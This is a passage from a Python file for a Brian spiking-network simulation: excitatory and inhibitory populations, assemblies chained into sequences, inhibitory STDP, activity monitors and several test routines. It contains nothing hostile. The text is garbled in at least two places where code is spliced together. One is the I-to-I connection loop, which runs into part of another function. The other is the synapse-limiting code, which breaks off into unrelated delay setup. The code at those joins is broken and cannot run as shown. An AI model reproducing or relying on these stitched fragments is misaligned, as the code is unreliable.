not to care of which how much it is), currently g_ff_coef can take\n only integer values, if I want a strong synapse, I just put several\n normal ones!\n \"\"\"\n\n self.configurables = {'Ne': 10000, 'Ni': 2500, 'cp_ee': .02, 'cp_ie': .02, 'cp_ei': .02,\n 'cp_ii': .02, 'pr': .05, 'pf': .05, 'g_ee': 0.19 * nS, 'g_ie': 0.2 * nS, 'g_ei': 1.0 * nS,\n 'g_ii': 1.0 * nS, 'n_ass': 10, 's_ass': 500, 'n_chains': 0, 'cf_ffn': 1., 'cf_rec': 1.,\n 'type_ext_input': 'curr', 'ext_input': 200 * pA, 'synapses_per_nrn': 250,\n 'inject_some_extra_i': False, 'g_ff_coef': 1,\n 'symmetric_sequence': False, 'p_rev': 0., 'extra_recorded_nrns': False,\n 'limit_syn_numbers': False, 'continuous_ass': False,\n 'use_random_conn_ff': False, 'modified_contin': False,\n 'g_l': 10. * nS, 'C_m': 200 * pF, 'v_r': -60. * mV, 'v_e': 0. * mV, 'v_i': -80. * mV,\n 'tau_m_exc': 20. * ms, 'tau_m_inh': 20. * ms, 'tau_inh': 10 * ms,\n 'tau_fast_inh': 10 * ms, 'tau_exc': 5. * ms, 'tau_stdp': 20. * ms,\n 'alpha': .2, 'g_min': 0 * nS, 'g_max': 50 * nS, 'eta_p': 0.001}\n\n self.Ne: int = 0\n self.Ni: int = 0\n\n # random connectivity\n self.cp_ee: float = 0.\n self.cp_ie: float = 0.\n self.cp_ei: float = 0.\n self.cp_ii: float = 0.\n\n # synaptic conductances\n self.g_ee: float = 0.\n self.g_ie: float = 0.\n self.g_ei: float = 0.\n self.g_ii: float = 0.\n self.g_max: float = 0.\n self.g_l: float = 0.\n self.cf_ffn: float = 0. # strength of ffn synaptic connections\n self.cf_rec: float = 0. # strength of rec synaptic connections\n self.n_chains: int = 0\n self.n_ass: int = 0 # number of assemblies in the ffn/minimum 2\n self.s_ass: int = 0 # neurons in an assembly\n self.type_ext_input: str = ''\n self.ext_input: Quantity = 0 * pA\n self.pr: float = 0.\n self.pf: float = 0.\n\n self.inject_some_extra_i: bool = False\n self.g_ff_coef: int = 0\n self.use_random_conn_ff: bool = False\n # FB maybe?\n self.symmetric_sequence: bool = False\n self.continuous_ass: bool = False\n self.synapses_per_nrn: int = 0\n self.p_rev: float = 0.\n\n self.eta_p: float = 0.\n self.extra_recorded_nrns: bool = False\n self.limit_syn_numbers: bool = False\n self.modified_contin: bool = False\n\n self.configure_net(config)\n\n self.eta_scale = .001\n self.sim_timestep = .1 * ms # simulation time step\n self.D = 2 * ms # AP delay\n self.m_ts = 1. * ms # monitors time step\n\n if self.Ne > 0:\n self.r_ie = (self.Ni + .0) / self.Ne # ratio Ni/Ne\n else:\n self.r_ie = .0\n\n self.N = self.Ne + self.Ni\n # set some random connectivity for all E,I neurons\n\n # conductances\n\n self.s_assinh = int(self.s_ass * self.r_ie)\n\n # recurrent connection probabilities into a group\n self.pr_ee = self.pr # e to e\n self.pr_ie = self.pr # e to i\n self.pr_ei = self.pr\n self.pr_ii = self.pr\n # FF connection probabilities\n self.pf_ee = self.pf\n self.pf_ie = 0 # pf\n self.pf_ei = 0 # pf\n self.pf_ii = 0 # pf\n\n self.sh_e = 0\n self.sh_i = 0\n\n # neurons and groups to measure from\n self.nrn_meas_e = []\n self.nrn_meas_i = []\n # neuron groups for spike time measure (for cv and ff)\n if True:\n self.nrngrp_meas = [0, 5, self.n_ass - 1]\n self.n_spike_m_gr = min(50, int(self.s_ass))\n\n # temporal recording from ps neurons\n self.nrn_meas_e.append(0 * self.s_ass)\n self.nrn_meas_e.append(1 * self.s_ass)\n self.nrn_meas_e.append(2 * self.s_ass)\n self.nrn_meas_e.append(3 * self.s_ass)\n self.nrn_meas_e.append((self.n_ass - 1) * self.s_ass - 1)\n self.nrn_meas_e.append((self.n_ass - 1) * self.s_ass + 1)\n self.nrn_meas_e.append(self.n_ass * self.s_ass - 1)\n\n # put a few neurons to measure for F2 plots\n for i in range(50):\n self.nrn_meas_e.append(self.n_ass * self.s_ass - 50 - i)\n self.nrn_meas_i.append(1 * self.s_assinh - 1)\n\n self.nrn_meas_e.append(self.Ne - 1)\n self.nrn_meas_i.append(self.Ni - 1)\n\n if self.extra_recorded_nrns:\n # record extra all nrns in second, last assembly and random nrns\n for i in range(self.s_ass):\n self.nrn_meas_e.append(1 * self.s_ass + i)\n for i in range(self.s_ass):\n self.nrn_meas_e.append((self.n_ass - 1) * self.s_ass + i)\n for i in range(self.s_ass):\n self.nrn_meas_e.append(self.n_ass * self.s_ass + i)\n\n self.dummy_group = []\n self.C_ed = []\n\n self.network = None\n self.Pe = None\n self.Pi = None\n self.C_ee = None\n self.C_ie = None\n self.C_ei = None\n self.C_ii = None\n\n self.cee = None\n self.cie = None\n self.cei = None\n self.cii = None\n\n self.Isine = None\n self.Isini = None\n\n self.pf_ee_new = None\n self.C_ee_ff = None\n\n self.P_poisson = None\n\n self.p_ass = []\n self.p_assinh = []\n self.p_ass_index = []\n self.p_assinh_index = []\n\n self.dummy_ass_index = [] # index of non-PS neurons, size is s_ass\n self.mon_rate_e = None\n self.mon_rate_i = None\n self.mon_spike_e = None\n self.mon_spike_i = None\n\n self.mon_spike_sngl = None\n self.mon_spike_gr = None\n\n self.mon_volt_e = None\n self.mon_volt_i = None\n self.mon_econd_e = None\n self.mon_icond_e = None\n self.mon_econd_i = None\n self.mon_icond_i = None\n self.mon_ecurr_e = None\n self.mon_icurr_e = None\n self.mon_ecurr_i = None\n self.mon_icurr_i = None\n\n self.create_net()\n\n print('initiated ', asctime())\n\n def configure_net(self, config):\n par_values = {k: (config[k] if k in config else self.configurables[k]) for k in self.configurables}\n self.__dict__.update(par_values)\n\n def get_parameters(self):\n params = {k: self.__dict__[k] for k in self.configurables}\n return params\n\n def get_results(self):\n return SimResult(self)\n\n def create_net(self):\n \"\"\" create a network with and connect it\"\"\"\n self.network = bb.Network()\n self.network.clock = bb.Clock(dt=self.sim_timestep)\n\n # create a couple of groups\n # noinspection PyTypeChecker\n self.Pe = bb.NeuronGroup(self.Ne, eqs_exc, threshold='v > -50 * mV',\n reset='v = -60 * mV', refractory=2. * ms, method='euler',\n namespace=self.__dict__)\n # noinspection PyTypeChecker\n self.Pi = bb.NeuronGroup(self.Ni, eqs_inh, threshold='v > -50 * mV',\n reset='v = -60 * mV', refractory=2. * ms, method='euler',\n namespace=self.__dict__)\n\n self.Pe.v = (-65 + 15 * np.random.rand(self.Ne)) * mV\n self.Pi.v = (-65 + 15 * np.random.rand(self.Ni)) * mV\n # noinspection PyTypeChecker\n self.network.add(self.Pe, self.Pi)\n if self.inject_some_extra_i:\n self.network.add(inject)\n\n if self.type_ext_input == 'curr':\n self.set_in_curr([self.Pe, self.Pi])\n else:\n raise NotImplementedError('no input, sure about it?')\n\n self.C_ee = bb.Synapses(self.Pe, self.Pe, model='w:siemens', on_pre='ge+=w')\n self.C_ie = bb.Synapses(self.Pe, self.Pi, model='w:siemens', on_pre='ge+=w')\n self.C_ii = bb.Synapses(self.Pi, self.Pi, model='w:siemens', on_pre='gi+=w')\n stdp_on = True\n if stdp_on:\n\n self.C_ei = bb.Synapses(self.Pi, self.Pe,\n model=eq_stdp, on_pre=eq_pre, on_post=eq_post,\n namespace=self.__dict__)\n else:\n self.C_ei = bb.Synapses(self.Pi, self.Pe,\n model='w:siemens', on_pre='gi_post+=w')\n\n def gen_ordered(self):\n \"\"\"\n Generate n assemblies where neurons are ordered\n sh_e, sh_i : shift of e/i neurons (by default order starts at 0)\n \"\"\"\n if self.n_chains:\n self.sh_e += self.s_ass * self.n_ass\n self.sh_i += self.s_assinh * self.n_ass\n nrn_e = np.arange(self.sh_e, self.Ne)\n nrn_i = np.arange(self.sh_i, self.Ni)\n p_ind_e = [nrn_e[n * self.s_ass:(n + 1) * self.s_ass] for n in range(self.n_ass)]\n p_ind_i = [nrn_i[n * self.s_assinh:(n + 1) * self.s_assinh] for n in range(self.n_ass)]\n print('An ordered sequence is created')\n return p_ind_e, p_ind_i\n\n def gen_no_overlap(self):\n \"\"\"\n Generate n assemblies with random neurons\n no repetition of a neuron is allowed\n \"\"\"\n nrn_perm_e = np.random.permutation(self.Ne)\n nrn_perm_i = np.random.permutation(self.Ni)\n p_ind_e = [nrn_perm_e[n * self.s_ass:(n + 1) * self.s_ass] for n in range(self.n_ass)]\n p_ind_i = [nrn_perm_i[n * self.s_assinh:(n + 1) * self.s_assinh] for n in range(self.n_ass)]\n print('A random sequence without overlaps is created')\n return p_ind_e, p_ind_i\n\n def gen_ass_overlap(self):\n \"\"\"\n Generate a n assemblies with random neurons\n repetitions of a neuron in different groups is allowed\n \"\"\"\n # permutate and pick the first s_ass elements..\n p_ind_e = [np.random.permutation(self.Ne)[:self.s_ass]\n for _ in range(self.n_ass)]\n p_ind_i = [np.random.permutation(self.Ni)[:self.s_assinh]\n for _ in range(self.n_ass)]\n print('A random sequence without repetition in a group is created')\n return p_ind_e, p_ind_i\n\n def gen_random(self):\n \"\"\"\n Generate a n assemblies with random neurons, repetitions in a\n group are allowed\n \"\"\"\n p_ind_e = np.random.randint(self.Ne, size=(self.n_ass, self.s_ass))\n p_ind_i = np.random.randint(self.Ni, size=(self.n_ass, self.s_assinh))\n print('A sequence with completely random neurons is created')\n return p_ind_e, p_ind_i\n\n def gen_dummy(self, p_ind_e_out):\n dum = []\n indexes_flatten = np.array(p_ind_e_out).flatten()\n # not to generate a random number for each neurons\n permutated_numbers = np.random.permutation(self.Ne)\n dum_size = 0\n for nrn_f in permutated_numbers:\n if nrn_f not in indexes_flatten:\n dum.append(nrn_f)\n dum_size += 1\n if dum_size >= self.s_ass:\n break\n return dum\n\n def generate_ps_assemblies(self, ass_randomness='gen_no_overlap'):\n \"\"\"\n generates assemblies of random neurons,\n neurons can lie into several group, but once into the same group\n ass_randomness : how to pick the neurons\n gen_ordered : ordered assemblies\n gen_no_overlap : random assemblies, no overlap\n gen_ass_overlap : random assemlies with overlap\n gen_random : totally random choise of neurons\n\n \"\"\"\n p_ind_e_out, p_ind_i_out = eval(\"self.\" + ass_randomness)()\n self.p_ass_index.append(p_ind_e_out)\n self.p_assinh_index.append(p_ind_i_out)\n self.dummy_ass_index.append(self.gen_dummy(p_ind_e_out))\n self.n_chains += 1\n\n @classmethod\n def create_random_matrix(cls, pre_nrns, post_nrns, p, pre_is_post=True):\n \"\"\"\n creates random connections between 2 populations of size\n pre_nrns and post_nrns (population sizes)\n might be slow but allows us to edit the connectivity matrix\n before throwing it into the ruthless synapse class\n ith element consists of the postsynaptic connection of ith nrn\n pre_is_post : flag that prevents a neuron to connect to itself\n if set to True\n \"\"\"\n conn_mat = []\n for i in range(pre_nrns):\n conn_nrn = list(np.arange(post_nrns)\n [np.random.random(post_nrns) < p])\n if i in conn_nrn and pre_is_post: # no autosynapses\n conn_nrn.remove(i)\n conn_mat.append(conn_nrn)\n return conn_mat\n\n def make_connections_discrete(self):\n for n_ch in range(self.n_chains): # iterate over sequences\n p_index = self.p_ass_index[n_ch]\n p_indexinh = self.p_assinh_index[n_ch]\n # iterate over the assemblies in the PS\n for n_gr in range(len(p_indexinh)):\n # iterate over E neurons in a group\n for p1 in p_index[n_gr]:\n # E to E recurrent\n p1_post = list(p_index[n_gr][\n np.random.random(len(p_index[n_gr])) < self.pr_ee])\n if p1 in p1_post: # no autosynapse\n p1_post.remove(p1)\n\n self.cee[p1].extend(p1_post)\n # E to E feedforward\n if n_gr < self.n_ass - 1: # in case it's the last group\n ###################################################\n # flag for using the random connections for ff\n # instead of embedding new ff synapses, strengthen\n # the background connections proportionally\n use_random_conn_ff = False\n if use_random_conn_ff:\n p1_post = np.intersect1d(self.cee[p1],\n p_index[n_gr + 1])\n for _ in range(int(self.pf_ee / self.cp_ee)):\n # noinspection PyTypeChecker\n self.cee[p1].extend(p1_post) # FIX\n # check for postsynaptic partners of p1 in cee\n # do the same synapses pff/r_rand times?\n else:\n for _ in range(self.g_ff_coef):\n p1_post = list(p_index[n_gr + 1]\n [np.random.random(len(p_index[n_gr + 1]))\n < self.pf_ee])\n if p1 in p1_post: # no autosynapse\n p1_post.remove(p1)\n\n self.cee[p1].extend(p1_post)\n # E to E reverse\n if self.symmetric_sequence and n_gr:\n p1_post = list(p_index[n_gr - 1][\n np.random.random(len(p_index[n_gr - 1])) <\n self.p_rev])\n if p1 in p1_post: # no autosynapse\n p1_post.remove(p1)\n\n # E to I recurrent\n p1_post = list(p_indexinh[n_gr][\n np.random.random(len(p_indexinh[n_gr])) < self.pr_ie])\n\n self.cie[p1].extend(p1_post)\n for i1 in p_indexinh[n_gr]:\n # I to I recurrent\n i1_post = list(p_indexinh[n_gr][\n np.random.random(len(p_indexinh[n_gr])) < self.pr_ii])\n # np.random.random(len(p_indexinh[n_gr])) len(p_ind) - ran_af_cont:\n pr_n = pr * (ran_be_cont + ran_af_cont) / (ran_af_cont + len(p_ind) - ix - 1)\n p1_post_f = p_ind[ix - ran_be_cont:][\n np.random.random(len(p_ind) - ix + ran_be_cont) < pr_n]\n print('aa', len(p_ind), ix, ran_be_cont, ran_af_cont, pr_n)\n print(len(p_ind[ix - ran_be_cont:]), len(p_ind) - ix + ran_be_cont)\n # most neurons are happy\n else:\n pr_n = pr\n p1_post_f = p_ind[ix - ran_be_cont:ix + ran_af_cont][\n np.random.random(ran_be_cont + ran_af_cont) < pr_n]\n return p1_post_f\n\n def make_connections_continuous(self):\n for n_ch in range(self.n_chains): # iterate over sequences\n p_index = np.array(self.p_ass_index[n_ch]).flatten()\n p_indexinh = np.array(self.p_assinh_index[n_ch]).flatten()\n ran_be = 1 * self.s_ass / 2 # here positive means before..to fix!\n ran_af = 1 * self.s_ass / 2\n ran_be_i = self.s_assinh / 2 + 1\n ran_af_i = self.s_assinh / 2 + 1\n if self.modified_contin:\n ran_ff_start = 1 * self.s_ass / 2\n ran_ff_end = 3 * self.s_ass / 2\n else:\n raise NotImplementedError(\"must define ran_ff_end\")\n # iterate over the assemblies in the PS\n for i, p1 in enumerate(p_index):\n # E-to-E recurrent\n p1_post = self.find_post(p_index, i, ran_be, ran_af, self.pr_ee)\n # if p1 in p1_post: # no autosynapse\n # p1_post = list(p1_post).remove(p1)\n self.cee[p1].extend(p1_post)\n\n # E-to-I recurrent\n p1_post = self.find_post(p_indexinh, i / 4, ran_be_i, ran_af_i,\n self.pr_ie)\n self.cie[p1].extend(p1_post)\n\n # E-to-E feedforward\n if i < len(p_index) - ran_ff_end:\n p1_post = p_index[i + ran_ff_start:i + ran_ff_end][\n np.random.random(ran_ff_end - ran_ff_start)\n < self.pf_ee]\n # here not to miss connections to the last group\n else:\n p1_post = p_index[i:len(p_index)][\n np.random.random(len(p_index) - i) < self.pf_ee]\n self.cee[p1].extend(p1_post)\n\n for i, i1 in enumerate(p_indexinh):\n # I-to-E recurrent\n i1_post = self.find_post(p_index, 4 * i,\n ran_be, ran_af, self.pr_ei)\n self.cei[i1].extend(i1_post)\n\n # I-to-I recurrent\n i1_post = self.find_post(p_indexinh, i, ran_be_i, ran_af_i,\n self.pr_ii)\n # if i1 in i1_post: # no autosynapse\n # i1_post = list(i1_post).remove(i1)\n self.cii[i1].extend(i1_post)\n\n def apply_connection_matrix(self, S, conn_mat, f_ee=False):\n \"\"\"\n creates the synapses by applying conn_mat connectivity matrix\n to the synaptic class S\n basically does the following but fast!\n\n for i, conn_nrn in enumerate(conn_mat):\n for j in conn_nrn:\n S[i,j]=True\n\n f_ee is a flag indicating e-e connections\n\n \"\"\"\n presynaptic, postsynaptic = [], []\n synapses_pre = {}\n nsynapses = 0\n for i in range(len(conn_mat)):\n conn_nrn = conn_mat[i]\n k1 = len(conn_nrn)\n # too connected? get rid of older synapses\n if self.limit_syn_numbers and f_ee and (k1 > self.synapses_per_nrn):\n x = max(self.synapses_per_nrn, k1 - self.synapses_per_nrn)\n conn_nrn = conn_nrn[-x:] # simply cut!\n '''\n # some exponential forgeting of old synapses\n tau = (k1-self.synapses_per_nrn)/2.\n conn_nrn = np.array(conn_nrn)[\\\n np.exp(-np.arange(k1)/tau) 0.:\n C_syne.delay = np.random.normal(6. * sigma, sigma, len(target))\n else:\n C_syne.delay = np.zeros(len(target))\n self.network.add(ext_in, C_syne)\n\n def set_rate_monitor(self):\n \"\"\"yep\"\"\"\n self.mon_rate_e = bb.PopulationRateMonitor(self.Pe)\n self.mon_rate_i = bb.PopulationRateMonitor(self.Pi)\n self.network.add(self.mon_rate_e, self.mon_rate_i)\n\n def set_spike_monitor(self):\n \"\"\"yep\"\"\"\n self.mon_spike_e = bb.SpikeMonitor(self.Pe)\n self.mon_spike_i = bb.SpikeMonitor(self.Pi)\n self.network.add(self.mon_spike_e, self.mon_spike_i)\n\n def set_group_spike_monitor(self, ch=0):\n \"\"\"\n !!!\n this would not work with random assemblies\n to be removed in the future\n \"\"\"\n self.mon_spike_sngl = [] # measure spike times from a few single neurons\n for nrn_f in self.nrn_meas_e:\n self.mon_spike_sngl.append(bb.SpikeMonitor(self.Pe[nrn_f]))\n self.network.add(self.mon_spike_sngl)\n\n self.mon_spike_gr = [] # measure spike times from groups (for CV and FF)\n for gr_f in self.nrngrp_meas:\n self.mon_spike_gr.append(bb.SpikeMonitor(\n self.p_ass[ch][gr_f][0:self.n_spike_m_gr]))\n # also control group of neurons which is not included in the ps\n self.mon_spike_gr.append(bb.SpikeMonitor(\n self.Pe[self.n_ass * self.s_ass:(self.n_ass + 1) * self.s_ass]\n [0:self.n_spike_m_gr]))\n self.network.add(self.mon_spike_gr)\n # default spike easure is off\n for sp in self.mon_spike_gr:\n sp.record = False\n\n def set_voltage_monitor(self):\n \"\"\"yep\"\"\"\n self.mon_volt_e = bb.StateMonitor(self.Pe, 'v', record=self.nrn_meas_e)\n self.mon_volt_i = bb.StateMonitor(self.Pi, 'v', record=self.nrn_meas_i)\n self.network.add(self.mon_volt_e, self.mon_volt_i)\n\n def set_conductance_monitor(self):\n \"\"\"yep\"\"\"\n self.mon_econd_e = bb.StateMonitor(self.Pe, 'ge', record=self.nrn_meas_e)\n self.mon_icond_e = bb.StateMonitor(self.Pe, 'gi', record=self.nrn_meas_e)\n self.mon_econd_i = bb.StateMonitor(self.Pi, 'ge', record=self.nrn_meas_i)\n self.mon_icond_i = bb.StateMonitor(self.Pi, 'gi', record=self.nrn_meas_i)\n self.network.add(self.mon_econd_e, self.mon_icond_e,\n self.mon_econd_i, self.mon_icond_i)\n\n def set_current_monitor(self):\n \"\"\"yep\"\"\"\n self.mon_ecurr_e = bb.StateMonitor(self.Pe, 'Ie', record=self.nrn_meas_e)\n self.mon_icurr_e = bb.StateMonitor(self.Pe, 'Ii', record=self.nrn_meas_e)\n self.mon_ecurr_i = bb.StateMonitor(self.Pi, 'Ie', record=self.nrn_meas_i)\n self.mon_icurr_i = bb.StateMonitor(self.Pi, 'Ii', record=self.nrn_meas_i)\n self.network.add(self.mon_ecurr_e, self.mon_icurr_e,\n self.mon_ecurr_i, self.mon_icurr_i)\n\n def run_full_sim(self, sim_times):\n self.generate_ps_assemblies('gen_no_overlap')\n self.set_net_connectivity()\n\n self.set_rate_monitor()\n self.set_group_spike_monitor()\n\n stim_times = np.arange(sim_times['start_sim'], sim_times['stop_sim'], 1)\n for t in stim_times:\n self.set_syn_input(self.p_ass[0][0], t * second)\n\n # stimulation with a que (not full)\n for que in [80, 60, 40, 20]:\n start_que = sim_times['start_sim' + str(que)]\n stop_que = sim_times['stop_sim' + str(que)]\n que_res = que / 100. # # 80,60,40,20% of pop stimulation\n\n for t in range(start_que, stop_que):\n n_sim_nrn = int(que_res * self.s_ass)\n self.set_syn_input(self.p_ass[0][0][0:n_sim_nrn], t * second)\n\n # set balance times with corresponding learning rates\n t0 = 0\n for t, r in zip(sim_times['balance_dur'], sim_times['balance_rate']):\n self.balance((t - t0) * second, r)\n t0 = t\n\n # run the simulations\n self.run_sim((sim_times['stop_sim20'] - sim_times['start_sim']) * second)\n # turn on the group spike monitor\n for sp in self.mon_spike_gr:\n sp.record = True\n # run for spontan activity\n self.run_sim((sim_times['stop_spont_recording'] -\n sim_times['stop_sim20']) * second)\n\n def dummy(self):\n # noinspection PyDictCreation\n sim_times = {'balance_dur': [10, 15, 20, 25], 'balance_rate': [5, 1, .1, .01], 'start_sim': 16, 'stop_sim': 20,\n 'start_sim80': 20, 'stop_sim80': 20, 'start_sim60': 20, 'stop_sim60': 20, 'start_sim40': 20,\n 'stop_sim40': 20, 'start_sim20': 20, 'stop_sim20': 22, 'start_fr_recording': 16,\n 'stop_fr_recording': 25}\n sim_times['start_spont_recording'] = sim_times['stop_sim20']\n sim_times['stop_spont_recording'] = 25\n\n self.set_rate_monitor()\n self.set_spike_monitor()\n self.set_voltage_monitor()\n self.set_current_monitor()\n self.set_conductance_monitor()\n\n self.run_full_sim(sim_times)\n\n def plot_for_raster_curr_volt(self):\n num_ps = 1\n for n in range(num_ps):\n self.generate_ps_assemblies('gen_ass_overlap')\n self.set_net_connectivity()\n\n self.set_spike_monitor()\n self.set_rate_monitor()\n\n '''\n gr = self.p_ass_index[0][0]\n self.set_noisy_input(gr,.5*second,sigma=0*ms)\n #gr1 = self.p_ass_index[1][0]\n #self.set_noisy_input(gr1,.7*second,sigma=0*ms)\n self.balance(1.*second,5.)\n '''\n\n t0 = 30 # time offset for stimulation in secs\n n_stim = 5\n for n in range(num_ps):\n for i in range(n_stim):\n gr_num_f = int(self.n_ass / 5. * i)\n print('stim to ', gr_num_f)\n gr_f = self.p_ass_index[n][gr_num_f]\n t = (t0 + n + i * 3) * second\n self.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n self.balance(10 * second, 5.)\n self.balance(10 * second, 1.)\n self.balance(5 * second, .1)\n self.balance(5 * second, .01)\n self.run_sim(16 * second)\n\n for n in range(num_ps):\n plt.figure(figsize=(12., 8.))\n plotter.plot_ps_raster(self, chain_n=n, frac=.01)\n\n def test_shifts(self, ie, ii):\n self.generate_ps_assemblies('gen_no_overlap')\n self.set_net_connectivity()\n self.set_spike_monitor()\n self.set_rate_monitor()\n\n self.Isine = ie * pA\n self.Isini = ii * pA\n self.network.add(inject)\n\n gr_f = self.p_ass_index[0][0]\n for i in range(9):\n t = (21 + i) * second\n self.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n self.balance(5 * second, 5.)\n self.balance(5 * second, 1.)\n self.balance(5 * second, .1)\n self.balance(5 * second, .01)\n self.run_sim(10 * second)\n\n plt.figure(figsize=(12., 8.))\n plotter.plot_ps_raster(self, chain_n=0, frac=.1)\n # plt.xlim([6800,8300])\n\n def stim_curr(self, ps=0, gr_f=0, dur_stim=100, dur_relx=400,\n curr=10 * pA):\n \"\"\"\n stimulate group gr in ps with a continuous current\n\n \"\"\"\n for nrn_f in self.p_ass_index[ps][gr_f]:\n self.Pe[nrn_f].I += curr\n self.run_sim(dur_stim * ms)\n for nrn_f in self.p_ass_index[ps][gr_f]:\n self.Pe[nrn_f].I -= curr\n self.run_sim(dur_relx * ms)\n\n\nclass SimResult:\n def __init__(self, net: Nets):\n from dotmap import DotMap\n self.p_ass_index = net.p_ass_index\n self.p_assinh_index = net.p_assinh_index\n\n self.dummy_ass_index = [] # index of non-PS neurons, size is s_ass\n\n self.mon_rate_e = DotMap(net.mon_rate_e.get_states()) if net.mon_rate_e is not None else None\n self.mon_rate_i = DotMap(net.mon_rate_i.get_states()) if net.mon_rate_i is not None else None\n self.mon_spike_e = DotMap(net.mon_spike_e.get_states()) if net.mon_spike_e is not None else None\n self.mon_spike_i = DotMap(net.mon_spike_i.get_states()) if net.mon_spike_i is not None else None\n self.mon_spike_gr = DotMap(net.mon_spike_gr.get_states()) if net.mon_spike_gr is not None else None\n self.mon_volt_e = DotMap(net.mon_volt_e.get_states()) if net.mon_volt_e is not None else None\n self.mon_volt_i = DotMap(net.mon_volt_i.get_states()) if net.mon_volt_i is not None else None\n self.mon_econd_e = DotMap(net.mon_econd_e.get_states()) if net.mon_econd_e is not None else None\n self.mon_icond_e = DotMap(net.mon_icond_e.get_states()) if net.mon_icond_e is not None else None\n self.mon_econd_i = DotMap(net.mon_econd_i.get_states()) if net.mon_econd_i is not None else None\n self.mon_icond_i = DotMap(net.mon_icond_i.get_states()) if net.mon_icond_i is not None else None\n self.mon_ecurr_e = DotMap(net.mon_ecurr_e.get_states()) if net.mon_ecurr_e is not None else None\n self.mon_icurr_e = DotMap(net.mon_icurr_e.get_states()) if net.mon_icurr_e is not None else None\n self.mon_ecurr_i = DotMap(net.mon_ecurr_i.get_states()) if net.mon_ecurr_i is not None else None\n self.mon_icurr_i = DotMap(net.mon_icurr_i.get_states()) if net.mon_icurr_i is not None else None\n\n self.params = net.get_parameters()\n\n\ndef test_symm():\n config = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 10, 's_ass': 500, 'pr': .15, 'pf': .03, 'symmetric_sequence': True, 'p_rev': .03,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config)\n\n nn_f.generate_ps_assemblies('gen_no_overlap')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n\n '''\n gr = nn.p_ass_index[0][0]\n t = 20*second\n nn.set_noisy_input(gr,t,sigma=0*ms)\n t = 20.5*second\n nn.set_noisy_input(gr,t,sigma=0*ms)\n\n gr = nn.p_ass_index[0][9]\n t = 21*second\n nn.set_noisy_input(gr,t,sigma=0*ms)\n t = 21.5*second\n nn.set_noisy_input(gr,t,sigma=0*ms)\n\n nn.balance(5*second,5.)\n nn.balance(5*second,1.)\n nn.balance(5*second,.1)\n nn.balance(5*second,.01)\n nn.run_sim(2*second)\n '''\n\n for gr_num_f in range(nn_f.n_ass):\n gr_f = nn_f.p_ass_index[0][gr_num_f]\n t = (20.55 + gr_num_f * .1) * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .1)\n nn_f.balance(5 * second, .01)\n # nn.run_sim(4*second)\n nn_f.Pe.I -= .0 * pA\n\n for nrn_f in nn_f.p_ass_index[0][0]:\n nn_f.Pe[nrn_f].I += 3 * pA\n nn_f.run_sim(.5 * second)\n for nrn_f in nn_f.p_ass_index[0][0]:\n nn_f.Pe[nrn_f].I -= 3 * pA\n\n nn_f.Pe.I -= 9 * pA\n nn_f.run_sim(1. * second)\n nn_f.Pe.I += 9 * pA\n\n for nrn_f in nn_f.p_ass_index[0][9]:\n nn_f.Pe[nrn_f].I += 3 * pA\n nn_f.run_sim(.5 * second)\n for nrn_f in nn_f.p_ass_index[0][9]:\n nn_f.Pe[nrn_f].I -= 3 * pA\n\n plotter.plot_ps_raster(nn_f, chain_n=0, frac=.1)\n plt.xlim([20000, 22000])\n return nn_f\n\n\ndef test_fr():\n config_test = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_ass': 10, 's_ass': 500, 'pr': 0.06, 'pf': 0.06,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config_test)\n\n nn_f.generate_ps_assemblies('gen_no_overlap')\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n\n gr_f = nn_f.p_ass_index[0][0]\n t = 20 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n t = 21 * second\n nn_f.set_noisy_input(gr_f, t, sigma=0 * ms)\n\n '''\n nn.balance(.01*second,5.)\n nn.balance(.01*second,1.)\n '''\n\n nn_f.balance(1 * second, 5.)\n\n gr_fr_e = calc_spikes.make_fr_from_spikes(nn_f, ps=0, w=1, exc_nrns=True)\n gr_fr_i = calc_spikes.make_fr_from_spikes(nn_f, ps=0, w=1, exc_nrns=False)\n\n plt.subplot(211)\n for gr_f in range(nn_f.n_ass):\n plt.plot(calc_spikes.gaus_smooth(gr_fr_e[gr_f], 2))\n plt.subplot(212)\n for gr_f in range(nn_f.n_ass):\n plt.plot(calc_spikes.gaus_smooth(gr_fr_i[gr_f], 2))\n\n plt.show()\n\n return nn_f\n\n\ndef test_no_ps():\n config_test = {'Ne': 20000, 'Ni': 5000, 'cp_ee': .01, 'cp_ie': .01, 'cp_ei': 0.01, 'cp_ii': .01,\n 'n_chains': 0, 'n_ass': 2, 's_ass': 500, 'pr': 0.06, 'pf': 0.06,\n 'g_ee': 0.1 * nS, 'g_ie': 0.1 * nS, 'g_ei': 0.4 * nS, 'g_ii': 0.4 * nS}\n nn_f = Nets(config_test)\n\n nn_f.set_net_connectivity()\n nn_f.set_spike_monitor()\n nn_f.set_rate_monitor()\n\n nn_f.balance(5 * second, 5.)\n nn_f.balance(5 * second, 1.)\n nn_f.balance(5 * second, .2)\n nn_f.balance(5 * second, .05)\n nn_f.run_sim(1 * second)\n return nn_f\n\n\n# noinspection PyPep8Naming\ndef test_diff_gff(Ne=20000):\n gfc = 1\n pr = 0.06\n pf = 0.06\n\n Ni = Ne // 4\n cp = .01\n\n # the default conductances used for Ne=20000\n ge0 = 0.1 * nS\n gi0 = 0.4 * nS\n\n gee = ge0 * (20000. / Ne) ** .5\n gii = gi0 * (20000. / Ne) ** .5\n\n pf = pf * (Ne / 20000.) ** .5\n pr = pr * (Ne / 20000.) ** .5\n\n continuous_ass = False\n config_test = {'Ne': Ne, 'Ni': Ni, 'cp_ee': cp, 'cp_ie': cp, 'cp_ei': cp, 'cp_ii': cp,\n 'n_ass': 